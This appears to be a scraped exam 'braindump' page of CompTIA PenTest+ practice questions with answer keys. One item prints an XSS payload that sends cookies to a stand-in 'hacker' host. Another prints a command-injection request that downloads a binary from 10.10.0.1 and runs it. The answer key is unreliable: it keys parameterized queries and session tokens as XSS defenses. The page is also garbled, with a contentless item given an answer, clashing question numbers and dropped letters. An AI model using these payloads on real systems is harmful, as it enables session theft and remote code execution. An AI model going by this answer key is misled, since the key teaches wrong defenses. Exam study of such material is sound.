Free PT1-002 Exam Braindumps
CompTIA PenTest+ Questions 21–25 (page: 6)

Updated On: 10-Feb-2026

DRAG DROP (Drag and Drop is not supported)
You are a penetration tester reviewing a client's website through a web browser.

INSTRUCTIONS:
Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certi cate, source, or cookies. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.













Select and Place:

  1. See Explanation section for answer.

Answer(s): A

Explanation:



Given the following code:
<SCRIPT>var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

  1. Web-application rewall
  2. Parameterized queries
  3. Output encoding
  4. Session tokens
  5. Input validation
  6. Base64 encoding

Answer(s): B,D



A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals.
Which of the following should the tester do NEXT?

  1. Reach out to the primary point of contact
  2. Try to take down the attackers
  3. Call law enforcement o cials immediately
  4. Collect the proper evidence and add to the nal report

Answer(s): A



A penetration-testing team is conducting a physical penetration test to gain entry to a building.
Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

  1. As backup in case the original documents are lost
  2. To guide them through the building entrances
  3. To validate the billing information with the client
  4. As proof in case they are discovered

Answer(s): D


Reference:

https://hub.packtpub.com/penetration-testing-rules-of-engagement/



A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = `POST ` exploit += `/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} `"
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A% 27&loginUser=a&Pwd=a`
exploit += `HTTP/1.1`
Which of the following commands should the penetration tester run post-engagement?

  1. grep "v apache ~/.bash_history > ~/.bash_history
  2. rm "rf /tmp/apache
  3. chmod 600 /tmp/apache
  4. taskkill /IM apache /F

Answer(s): B



Viewing page 6 of 23
Viewing questions 26 - 30 out of 110 questions


Post your Comments and Discuss CompTIA PT1-002 exam prep with other Community members:

AI Tutor AI Tutor 👋 I’m here to help!